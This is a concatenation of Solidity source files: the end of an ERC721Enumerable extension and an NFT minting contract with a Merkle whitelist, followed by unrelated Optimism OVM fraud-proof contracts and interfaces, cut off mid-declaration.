- When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/Nft_test.sol pragma solidity >=0.7.0 <0.9.0; contract ClubMetaSkeletons is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.069 ether; uint256 public whiteListCost = 0.05 ether; uint256 public maxSupply = 2222; uint256 public maxMintAmount = 3; uint256 public nftPerAddressLimit = 5; bool public paused = false; bool public revealed = false; bool public whitelistOnly = true; mapping(address => uint256) public addressMintedBalance; bytes32 public whitelistMerkleRoot; ////////////////// constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require( _mintAmount <= maxMintAmount, "max mint amount per session exceeded" ); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(whitelistOnly == false, "Whitelist only"); if (msg.sender != owner()) { uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } modifier isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) { bytes32 sender = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify( merkleProof, root, sender ), "Address does not exist in list" ); _; } function mintWhitelist(bytes32[] calldata merkleProof, uint256 _mintAmount) public payable isValidMerkleProof(merkleProof, whitelistMerkleRoot) { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require( _mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(whitelistOnly == true, "whitelist is turned off"); if (msg.sender != owner()) { uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(msg.value >= whiteListCost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setWhitelistCost(uint256 _newCost) public onlyOwner { whiteListCost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setWhitelistMerkleRoot(bytes32 merkleRoot) public onlyOwner { whitelistMerkleRoot = merkleRoot; } function setWhitelistOnly(bool _state) public onlyOwner { whitelistOnly = _state; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }

True

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// SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; import { iOVM_BondManager } from "../../iOVM/verification/iOVM_BondManager.sol"; import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; /// Minimal contract to be inherited by contracts consumed by users that provide /// data for fraud proofs abstract contract Abs_FraudContributor is Lib_AddressResolver { /// Decorate your functions with this modifier to store how much total gas was /// consumed by the sender, to reward users fairly modifier contributesToFraudProof(bytes32 preStateRoot, bytes32 txHash) { uint256 startGas = gasleft(); _; uint256 gasSpent = startGas - gasleft(); iOVM_BondManager(resolve('OVM_BondManager')).recordGasSpent(preStateRoot, txHash, msg.sender, gasSpent); } } // SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; import { Lib_EthUtils } from "../../libraries/utils/Lib_EthUtils.sol"; import { Lib_Bytes32Utils } from "../../libraries/utils/Lib_Bytes32Utils.sol"; import { Lib_BytesUtils } from "../../libraries/utils/Lib_BytesUtils.sol"; import { Lib_SecureMerkleTrie } from "../../libraries/trie/Lib_SecureMerkleTrie.sol"; import { Lib_RLPWriter } from "../../libraries/rlp/Lib_RLPWriter.sol"; import { Lib_RLPReader } from "../../libraries/rlp/Lib_RLPReader.sol"; /* Interface Imports */ import { iOVM_StateTransitioner } from "../../iOVM/verification/iOVM_StateTransitioner.sol"; import { iOVM_BondManager } from "../../iOVM/verification/iOVM_BondManager.sol"; import { iOVM_ExecutionManager } from "../../iOVM/execution/iOVM_ExecutionManager.sol"; import { iOVM_StateManager } from "../../iOVM/execution/iOVM_StateManager.sol"; import { iOVM_StateManagerFactory } from "../../iOVM/execution/iOVM_StateManagerFactory.sol"; /* Contract Imports */ import { Abs_FraudContributor } from "./Abs_FraudContributor.sol"; /** * @title OVM_StateTransitioner * @dev The State Transitioner coordinates the execution of a state transition during the evaluation of a * fraud proof. It feeds verified input to the Execution Manager's run(), and controls a State Manager (which is * uniquely created for each fraud proof). * Once a fraud proof has been initialized, this contract is provided with the pre-state root and verifies * that the OVM storage slots committed to the State Mangager are contained in that state * This contract controls the State Manager and Execution Manager, and uses them to calculate the * post-state root by applying the transaction. The Fraud Verifier can then check for fraud by comparing * the calculated post-state root with the proposed post-state root. * * Compiler used: solc * Runtime target: EVM */ contract OVM_StateTransitioner is Lib_AddressResolver, Abs_FraudContributor, iOVM_StateTransitioner { /******************* * Data Structures * *******************/ enum TransitionPhase { PRE_EXECUTION, POST_EXECUTION, COMPLETE } /******************************************* * Contract Variables: Contract References * *******************************************/ iOVM_StateManager public ovmStateManager; /******************************************* * Contract Variables: Internal Accounting * *******************************************/ bytes32 internal preStateRoot; bytes32 internal postStateRoot; TransitionPhase public phase; uint256 internal stateTransitionIndex; bytes32 internal transactionHash; /************* * Constants * *************/ bytes32 internal constant EMPTY_ACCOUNT_CODE_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; bytes32 internal constant EMPTY_ACCOUNT_STORAGE_ROOT = 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Address Manager. * @param _stateTransitionIndex Index of the state transition being verified. * @param _preStateRoot State root before the transition was executed. * @param _transactionHash Hash of the executed transaction. */ constructor( address _libAddressManager, uint256 _stateTransitionIndex, bytes32 _preStateRoot, bytes32 _transactionHash ) Lib_AddressResolver(_libAddressManager) { stateTransitionIndex = _stateTransitionIndex; preStateRoot = _preStateRoot; postStateRoot = _preStateRoot; transactionHash = _transactionHash; ovmStateManager = iOVM_StateManagerFactory(resolve("OVM_StateManagerFactory")).create(address(this)); } /********************** * Function Modifiers * **********************/ /** * Checks that a function is only run during a specific phase. * @param _phase Phase the function must run within. */ modifier onlyDuringPhase( TransitionPhase _phase ) { require( phase == _phase, "Function must be called during the correct phase." ); _; } /********************************** * Public Functions: State Access * **********************************/ /** * Retrieves the state root before execution. * @return _preStateRoot State root before execution. */ function getPreStateRoot() override public view returns ( bytes32 _preStateRoot ) { return preStateRoot; } /** * Retrieves the state root after execution. * @return _postStateRoot State root after execution. */ function getPostStateRoot() override public view returns ( bytes32 _postStateRoot ) { return postStateRoot; } /** * Checks whether the transitioner is complete. * @return _complete Whether or not the transition process is finished. */ function isComplete() override public view returns ( bool _complete ) { return phase == TransitionPhase.COMPLETE; } /*********************************** * Public Functions: Pre-Execution * ***********************************/ /** * Allows a user to prove the initial state of a contract. * @param _ovmContractAddress Address of the contract on the OVM. * @param _ethContractAddress Address of the corresponding contract on L1. * @param _stateTrieWitness Proof of the account state. */ function proveContractState( address _ovmContractAddress, address _ethContractAddress, bytes memory _stateTrieWitness ) override public onlyDuringPhase(TransitionPhase.PRE_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { // Exit quickly to avoid unnecessary work. require( ( ovmStateManager.hasAccount(_ovmContractAddress) == false && ovmStateManager.hasEmptyAccount(_ovmContractAddress) == false ), "Account state has already been proven." ); // Function will fail if the proof is not a valid inclusion or exclusion proof. ( bool exists, bytes memory encodedAccount ) = Lib_SecureMerkleTrie.get( abi.encodePacked(_ovmContractAddress), _stateTrieWitness, preStateRoot ); if (exists == true) { // Account exists, this was an inclusion proof. Lib_OVMCodec.EVMAccount memory account = Lib_OVMCodec.decodeEVMAccount( encodedAccount ); address ethContractAddress = _ethContractAddress; if (account.codeHash == EMPTY_ACCOUNT_CODE_HASH) { // Use a known empty contract to prevent an attack in which a user provides a // contract address here and then later deploys code to it. ethContractAddress = 0x0000000000000000000000000000000000000000; } else { // Otherwise, make sure that the code at the provided eth address matches the hash // of the code stored on L2. require( Lib_EthUtils.getCodeHash(ethContractAddress) == account.codeHash, "OVM_StateTransitioner: Provided L1 contract code hash does not match L2 contract code hash." ); } ovmStateManager.putAccount( _ovmContractAddress, Lib_OVMCodec.Account({ nonce: account.nonce, balance: account.balance, storageRoot: account.storageRoot, codeHash: account.codeHash, ethAddress: ethContractAddress, isFresh: false }) ); } else { // Account does not exist, this was an exclusion proof. ovmStateManager.putEmptyAccount(_ovmContractAddress); } } /** * Allows a user to prove the initial state of a contract storage slot. * @param _ovmContractAddress Address of the contract on the OVM. * @param _key Claimed account slot key. * @param _storageTrieWitness Proof of the storage slot. */ function proveStorageSlot( address _ovmContractAddress, bytes32 _key, bytes memory _storageTrieWitness ) override public onlyDuringPhase(TransitionPhase.PRE_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { // Exit quickly to avoid unnecessary work. require( ovmStateManager.hasContractStorage(_ovmContractAddress, _key) == false, "Storage slot has already been proven." ); require( ovmStateManager.hasAccount(_ovmContractAddress) == true, "Contract must be verified before proving a storage slot." ); bytes32 storageRoot = ovmStateManager.getAccountStorageRoot(_ovmContractAddress); bytes32 value; if (storageRoot == EMPTY_ACCOUNT_STORAGE_ROOT) { // Storage trie was empty, so the user is always allowed to insert zero-byte values. value = bytes32(0); } else { // Function will fail if the proof is not a valid inclusion or exclusion proof. ( bool exists, bytes memory encodedValue ) = Lib_SecureMerkleTrie.get( abi.encodePacked(_key), _storageTrieWitness, storageRoot ); if (exists == true) { // Inclusion proof. // Stored values are RLP encoded, with leading zeros removed. value = Lib_BytesUtils.toBytes32PadLeft( Lib_RLPReader.readBytes(encodedValue) ); } else { // Exclusion proof, can only be zero bytes. value = bytes32(0); } } ovmStateManager.putContractStorage( _ovmContractAddress, _key, value ); } /******************************* * Public Functions: Execution * *******************************/ /** * Executes the state transition. * @param _transaction OVM transaction to execute. */ function applyTransaction( Lib_OVMCodec.Transaction memory _transaction ) override public onlyDuringPhase(TransitionPhase.PRE_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { require( Lib_OVMCodec.hashTransaction(_transaction) == transactionHash, "Invalid transaction provided." ); // We require gas to complete the logic here in run() before/after execution, // But must ensure the full _tx.gasLimit can be given to the ovmCALL (determinism) // This includes 1/64 of the gas getting lost because of EIP-150 (lost twice--first // going into EM, then going into the code contract). require( gasleft() >= 100000 + _transaction.gasLimit * 1032 / 1000, // 1032/1000 = 1.032 = (64/63)^2 rounded up "Not enough gas to execute transaction deterministically." ); iOVM_ExecutionManager ovmExecutionManager = iOVM_ExecutionManager(resolve("OVM_ExecutionManager")); // We call `setExecutionManager` right before `run` (and not earlier) just in case the // OVM_ExecutionManager address was updated between the time when this contract was created // and when `applyTransaction` was called. ovmStateManager.setExecutionManager(address(ovmExecutionManager)); // `run` always succeeds *unless* the user hasn't provided enough gas to `applyTransaction` // or an INVALID_STATE_ACCESS flag was triggered. Either way, we won't get beyond this line // if that's the case. ovmExecutionManager.run(_transaction, address(ovmStateManager)); // Prevent the Execution Manager from calling this SM again. ovmStateManager.setExecutionManager(address(0)); phase = TransitionPhase.POST_EXECUTION; } /************************************ * Public Functions: Post-Execution * ************************************/ /** * Allows a user to commit the final state of a contract. * @param _ovmContractAddress Address of the contract on the OVM. * @param _stateTrieWitness Proof of the account state. */ function commitContractState( address _ovmContractAddress, bytes memory _stateTrieWitness ) override public onlyDuringPhase(TransitionPhase.POST_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { require( ovmStateManager.getTotalUncommittedContractStorage() == 0, "All storage must be committed before committing account states." ); require ( ovmStateManager.commitAccount(_ovmContractAddress) == true, "Account state wasn't changed or has already been committed." ); Lib_OVMCodec.Account memory account = ovmStateManager.getAccount(_ovmContractAddress); postStateRoot = Lib_SecureMerkleTrie.update( abi.encodePacked(_ovmContractAddress), Lib_OVMCodec.encodeEVMAccount( Lib_OVMCodec.toEVMAccount(account) ), _stateTrieWitness, postStateRoot ); // Emit an event to help clients figure out the proof ordering. emit AccountCommitted( _ovmContractAddress ); } /** * Allows a user to commit the final state of a contract storage slot. * @param _ovmContractAddress Address of the contract on the OVM. * @param _key Claimed account slot key. * @param _storageTrieWitness Proof of the storage slot. */ function commitStorageSlot( address _ovmContractAddress, bytes32 _key, bytes memory _storageTrieWitness ) override public onlyDuringPhase(TransitionPhase.POST_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { require( ovmStateManager.commitContractStorage(_ovmContractAddress, _key) == true, "Storage slot value wasn't changed or has already been committed." ); Lib_OVMCodec.Account memory account = ovmStateManager.getAccount(_ovmContractAddress); bytes32 value = ovmStateManager.getContractStorage(_ovmContractAddress, _key); account.storageRoot = Lib_SecureMerkleTrie.update( abi.encodePacked(_key), Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros(value) ), _storageTrieWitness, account.storageRoot ); ovmStateManager.putAccount(_ovmContractAddress, account); // Emit an event to help clients figure out the proof ordering. emit ContractStorageCommitted( _ovmContractAddress, _key ); } /********************************** * Public Functions: Finalization * **********************************/ /** * Finalizes the transition process. */ function completeTransition() override public onlyDuringPhase(TransitionPhase.POST_EXECUTION) { require( ovmStateManager.getTotalUncommittedAccounts() == 0, "All accounts must be committed before completing a transition." ); require( ovmStateManager.getTotalUncommittedContractStorage() == 0, "All storage must be committed before completing a transition." ); phase = TransitionPhase.COMPLETE; } } // SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.5.0 <0.8.0; /* Library Imports */ import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; /* Interface Imports */ import { iOVM_StateTransitioner } from "../../iOVM/verification/iOVM_StateTransitioner.sol"; import { iOVM_StateTransitionerFactory } from "../../iOVM/verification/iOVM_StateTransitionerFactory.sol"; import { iOVM_FraudVerifier } from "../../iOVM/verification/iOVM_FraudVerifier.sol"; /* Contract Imports */ import { OVM_StateTransitioner } from "./OVM_StateTransitioner.sol"; /** * @title OVM_StateTransitionerFactory * @dev The State Transitioner Factory is used by the Fraud Verifier to create a new State * Transitioner during the initialization of a fraud proof. * * Compiler used: solc * Runtime target: EVM */ contract OVM_StateTransitionerFactory is iOVM_StateTransitionerFactory, Lib_AddressResolver { /*************** * Constructor * ***************/ constructor( address _libAddressManager ) Lib_AddressResolver(_libAddressManager) {} /******************** * Public Functions * ********************/ /** * Creates a new OVM_StateTransitioner * @param _libAddressManager Address of the Address Manager. * @param _stateTransitionIndex Index of the state transition being verified. * @param _preStateRoot State root before the transition was executed. * @param _transactionHash Hash of the executed transaction. * @return New OVM_StateTransitioner instance. */ function create( address _libAddressManager, uint256 _stateTransitionIndex, bytes32 _preStateRoot, bytes32 _transactionHash ) override public returns ( iOVM_StateTransitioner ) { require( msg.sender == resolve("OVM_FraudVerifier"), "Create can only be done by the OVM_FraudVerifier." ); return new OVM_StateTransitioner( _libAddressManager, _stateTransitionIndex, _preStateRoot, _transactionHash ); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; interface iOVM_ExecutionManager { /********** * Enums * *********/ enum RevertFlag { OUT_OF_GAS, INTENTIONAL_REVERT, EXCEEDS_NUISANCE_GAS, INVALID_STATE_ACCESS, UNSAFE_BYTECODE, CREATE_COLLISION, STATIC_VIOLATION, CREATOR_NOT_ALLOWED } enum GasMetadataKey { CURRENT_EPOCH_START_TIMESTAMP, CUMULATIVE_SEQUENCER_QUEUE_GAS, CUMULATIVE_L1TOL2_QUEUE_GAS, PREV_EPOCH_SEQUENCER_QUEUE_GAS, PREV_EPOCH_L1TOL2_QUEUE_GAS } /*********** * Structs * ***********/ struct GasMeterConfig { uint256 minTransactionGasLimit; uint256 maxTransactionGasLimit; uint256 maxGasPerQueuePerEpoch; uint256 secondsPerEpoch; } struct GlobalContext { uint256 ovmCHAINID; } struct TransactionContext { Lib_OVMCodec.QueueOrigin ovmL1QUEUEORIGIN; uint256 ovmTIMESTAMP; uint256 ovmNUMBER; uint256 ovmGASLIMIT; uint256 ovmTXGASLIMIT; address ovmL1TXORIGIN; } struct TransactionRecord { uint256 ovmGasRefund; } struct MessageContext { address ovmCALLER; address ovmADDRESS; bool isStatic; } struct MessageRecord { uint256 nuisanceGasLeft; } /************************************ * Transaction Execution Entrypoint * ************************************/ function run( Lib_OVMCodec.Transaction calldata _transaction, address _txStateManager ) external; /******************* * Context Opcodes * *******************/ function ovmCALLER() external view returns (address _caller); function ovmADDRESS() external view returns (address _address); function ovmTIMESTAMP() external view returns (uint256 _timestamp); function ovmNUMBER() external view returns (uint256 _number); function ovmGASLIMIT() external view returns (uint256 _gasLimit); function ovmCHAINID() external view returns (uint256 _chainId); /********************** * L2 Context Opcodes * **********************/ function ovmL1QUEUEORIGIN() external view returns (Lib_OVMCodec.QueueOrigin _queueOrigin); function ovmL1TXORIGIN() external view returns (address _l1TxOrigin); /******************* * Halting Opcodes * *******************/ function ovmREVERT(bytes memory _data) external; /***************************** * Contract Creation Opcodes * *****************************/ function ovmCREATE(bytes memory _bytecode) external returns (address _contract, bytes memory _revertdata); function ovmCREATE2(bytes memory _bytecode, bytes32 _salt) external returns (address _contract, bytes memory _revertdata); /******************************* * Account Abstraction Opcodes * ******************************/ function ovmGETNONCE() external returns (uint256 _nonce); function ovmINCREMENTNONCE() external; function ovmCREATEEOA(bytes32 _messageHash, uint8 _v, bytes32 _r, bytes32 _s) external; /**************************** * Contract Calling Opcodes * ****************************/ function ovmCALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata); function ovmSTATICCALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata); function ovmDELEGATECALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata); /**************************** * Contract Storage Opcodes * ****************************/ function ovmSLOAD(bytes32 _key) external returns (bytes32 _value); function ovmSSTORE(bytes32 _key, bytes32 _value) external; /************************* * Contract Code Opcodes * *************************/ function ovmEXTCODECOPY(address _contract, uint256 _offset, uint256 _length) external returns (bytes memory _code); function ovmEXTCODESIZE(address _contract) external returns (uint256 _size); function ovmEXTCODEHASH(address _contract) external returns (bytes32 _hash); /*************************************** * Public Functions: Execution Context * ***************************************/ function getMaxTransactionGasLimit() external view returns (uint _maxTransactionGasLimit); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; /** * @title iOVM_StateManager */ interface iOVM_StateManager { /******************* * Data Structures * *******************/ enum ItemState { ITEM_UNTOUCHED, ITEM_LOADED, ITEM_CHANGED, ITEM_COMMITTED } /*************************** * Public Functions: Misc * ***************************/ function isAuthenticated(address _address) external view returns (bool); /*************************** * Public Functions: Setup * ***************************/ function owner() external view returns (address _owner); function ovmExecutionManager() external view returns (address _ovmExecutionManager); function setExecutionManager(address _ovmExecutionManager) external; /************************************ * Public Functions: Account Access * ************************************/ function putAccount(address _address, Lib_OVMCodec.Account memory _account) external; function putEmptyAccount(address _address) external; function getAccount(address _address) external view returns (Lib_OVMCodec.Account memory _account); function hasAccount(address _address) external view returns (bool _exists); function hasEmptyAccount(address _address) external view returns (bool _exists); function setAccountNonce(address _address, uint256 _nonce) external; function getAccountNonce(address _address) external view returns (uint256 _nonce); function getAccountEthAddress(address _address) external view returns (address _ethAddress); function getAccountStorageRoot(address _address) external view returns (bytes32 _storageRoot); function initPendingAccount(address _address) external; function commitPendingAccount(address _address, address _ethAddress, bytes32 _codeHash) external; function testAndSetAccountLoaded(address _address) external returns (bool _wasAccountAlreadyLoaded); function testAndSetAccountChanged(address _address) external returns (bool _wasAccountAlreadyChanged); function commitAccount(address _address) external returns (bool _wasAccountCommitted); function incrementTotalUncommittedAccounts() external; function getTotalUncommittedAccounts() external view returns (uint256 _total); function wasAccountChanged(address _address) external view returns (bool); function wasAccountCommitted(address _address) external view returns (bool); /************************************ * Public Functions: Storage Access * ************************************/ function putContractStorage(address _contract, bytes32 _key, bytes32 _value) external; function getContractStorage(address _contract, bytes32 _key) external view returns (bytes32 _value); function hasContractStorage(address _contract, bytes32 _key) external view returns (bool _exists); function testAndSetContractStorageLoaded(address _contract, bytes32 _key) external returns (bool _wasContractStorageAlreadyLoaded); function testAndSetContractStorageChanged(address _contract, bytes32 _key) external returns (bool _wasContractStorageAlreadyChanged); function commitContractStorage(address _contract, bytes32 _key) external returns (bool _wasContractStorageCommitted); function incrementTotalUncommittedContractStorage() external; function getTotalUncommittedContractStorage() external view returns (uint256 _total); function wasContractStorageChanged(address _contract, bytes32 _key) external view returns (bool); function wasContractStorageCommitted(address _contract, bytes32 _key) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* Contract Imports */ import { iOVM_StateManager } from "./iOVM_StateManager.sol"; /** * @title iOVM_StateManagerFactory */ interface iOVM_StateManagerFactory { /*************************************** * Public Functions: Contract Creation * ***************************************/ function create( address _owner ) external returns ( iOVM_StateManager _ovmStateManager ); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; interface ERC20 { function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); } /// All the errors which may be encountered on the bond manager library Errors { string constant ERC20_ERR = "BondManager: Could not post bond"; string constant ALREADY_FINALIZED = "BondManager: Fraud proof for this pre-state root has already been finalized"; string constant SLASHED = "BondManager: Cannot finalize withdrawal, you probably got slashed"; string constant WRONG_STATE = "BondManager: Wrong bond state for proposer"; string constant CANNOT_CLAIM = "BondManager: Cannot claim yet. Dispute must be finalized first"; string constant WITHDRAWAL_PENDING = "BondManager: Withdrawal already pending"; string constant TOO_EARLY = "BondManager: Too early to finalize your withdrawal"; string constant ONLY_TRANSITIONER = "BondManager: Only the transitioner for this pre-state root may call this function"; string constant ONLY_FRAUD_VERIFIER = "BondManager: Only the fraud verifier may call this function"; string constant ONLY_STATE_COMMITMENT_CHAIN = "BondManager: Only the state commitment chain may call this function"; string constant WAIT_FOR_DISPUTES = "BondManager: Wait for other potential disputes"; } /** * @title iOVM_BondManager */ interface iOVM_BondManager { /******************* * Data Structures * *******************/ /// The lifecycle of a proposer's bond enum State { // Before depositing or after getting slashed, a user is uncollateralized NOT_COLLATERALIZED, // After depositing, a user is collateralized COLLATERALIZED, // After a user has initiated a withdrawal WITHDRAWING } /// A bond posted by a proposer struct Bond { // The user's state State state; // The timestamp at which a proposer issued their withdrawal request uint32 withdrawalTimestamp; // The time when the first disputed was initiated for this bond uint256 firstDisputeAt; // The earliest observed state root for this bond which has had fraud bytes32 earliestDisputedStateRoot; // The state root's timestamp uint256 earliestTimestamp; } // Per pre-state root, store the number of state provisions that were made // and how many of these calls were made by each user. Payouts will then be // claimed by users proportionally for that dispute. struct Rewards { // Flag to check if rewards for a fraud proof are claimable bool canClaim; // Total number of `recordGasSpent` calls made uint256 total; // The gas spent by each user to provide witness data. The sum of all // values inside this map MUST be equal to the value of `total` mapping(address => uint256) gasSpent; } /******************** * Public Functions * ********************/ function recordGasSpent( bytes32 _preStateRoot, bytes32 _txHash, address _who, uint256 _gasSpent ) external; function finalize( bytes32 _preStateRoot, address _publisher, uint256 _timestamp ) external; function deposit() external; function startWithdrawal() external; function finalizeWithdrawal() external; function claim( address _who ) external; function isCollateralized( address _who ) external view returns (bool); function getGasSpent( bytes32 _preStateRoot, address _who ) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; /* Interface Imports */ import { iOVM_StateTransitioner } from "./iOVM_StateTransitioner.sol"; /** * @title iOVM_FraudVerifier */ interface iOVM_FraudVerifier { /********** * Events * **********/ event FraudProofInitialized( bytes32 _preStateRoot, uint256 _preStateRootIndex, bytes32 _transactionHash, address _who ); event FraudProofFinalized( bytes32 _preStateRoot, uint256 _preStateRootIndex, bytes32 _transactionHash, address _who ); /*************************************** * Public Functions: Transition Status * ***************************************/ function getStateTransitioner(bytes32 _preStateRoot, bytes32 _txHash) external view returns (iOVM_StateTransitioner _transitioner); /**************************************** * Public Functions: Fraud Verification * ****************************************/ function initializeFraudVerification( bytes32 _preStateRoot, Lib_OVMCodec.ChainBatchHeader calldata _preStateRootBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _preStateRootProof, Lib_OVMCodec.Transaction calldata _transaction, Lib_OVMCodec.TransactionChainElement calldata _txChainElement, 